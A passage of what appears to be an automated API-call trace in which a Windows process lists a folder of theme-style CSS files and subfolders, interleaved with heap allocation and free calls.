ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightOrange.css", cAlternateFileName="")) returned 1 [0078.770] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.770] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.770] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.770] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac21d0 [0078.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c5d10 [0078.771] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.771] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightYellow", cAlternateFileName="")) returned 1 [0078.771] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a87c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xcb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightYellow.css", cAlternateFileName="")) returned 1 [0078.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.771] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.771] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac21f0 [0078.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c5e18 [0078.772] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.772] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Casual.css", cAlternateFileName="")) returned 1 [0078.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.772] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.772] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2210 [0078.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c5f20 [0078.772] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.772] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x604d91d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x373, dwReserved0=0x0, dwReserved1=0x0, cFileName="Country.css", cAlternateFileName="")) returned 1 [0078.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.773] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.773] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2230 [0078.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c6028 [0078.773] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.773] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desert", cAlternateFileName="")) returned 1 [0078.773] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x977, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desert.css", cAlternateFileName="")) returned 1 [0078.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.774] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.774] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2250 [0078.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c6130 [0078.774] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.774] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51e3fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x0, dwReserved1=0x0, cFileName="Earthy.css", cAlternateFileName="")) returned 1 [0078.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.774] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.775] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2270 [0078.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c6238 [0078.775] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.775] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrayCheck", cAlternateFileName="")) returned 1 [0078.775] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61a91a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xaf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrayCheck.css", cAlternateFileName="")) returned 1 [0078.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.775] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.775] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2290 [0078.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c6340 [0078.776] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.776] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x52c3bfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenTea.css", cAlternateFileName="")) returned 1 [0078.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.776] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.776] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac22b0 [0078.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c6448 [0078.776] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.776] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x411, dwReserved0=0x0, dwReserved1=0x0, cFileName="LightSpirit.css", cAlternateFileName="")) returned 1 [0078.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.777] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.777] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac22d0 [0078.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c6550 [0078.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4700) returned 0xacb2b8 [0078.777] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c8048) returned 1 [0078.778] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.778] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lime", cAlternateFileName="")) returned 1 [0078.778] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xcfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lime.css", cAlternateFileName="")) returned 1 [0078.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.778] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.778] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac22f0 [0078.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c6658 [0078.778] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.778] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582d2010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x362, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maroon.css", cAlternateFileName="")) returned 1 [0078.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2310 [0078.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c6760 [0078.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.779] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oasis", cAlternateFileName="")) returned 1 [0078.779] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6b22b3b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oasis.css", cAlternateFileName="")) returned 1 [0078.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.780] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2330 [0078.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c6868 [0078.780] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.780] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6bd79c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x38d, dwReserved0=0x0, dwReserved1=0x0, cFileName="OliveGreen.css", cAlternateFileName="")) returned 1 [0078.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.780] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.780] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2350 [0078.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c6970 [0078.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.781] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x348, dwReserved0=0x0, dwReserved1=0x0, cFileName="Premium.css", cAlternateFileName="")) returned 1 [0078.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2370 [0078.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c6a78 [0078.782] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.782] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slate", cAlternateFileName="")) returned 1 [0078.782] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slate.css", cAlternateFileName="")) returned 1 [0078.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.782] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.782] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2390 [0078.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c6b80 [0078.782] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.782] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x38c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SlateBlue.css", cAlternateFileName="")) returned 1 [0078.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac23b0 [0078.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c6c88 [0078.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.783] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue", cAlternateFileName="")) returned 1 [0078.783] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe34, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.css", cAlternateFileName="")) returned 1 [0078.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.784] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac23d0 [0078.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c6d90 [0078.784] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.784] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 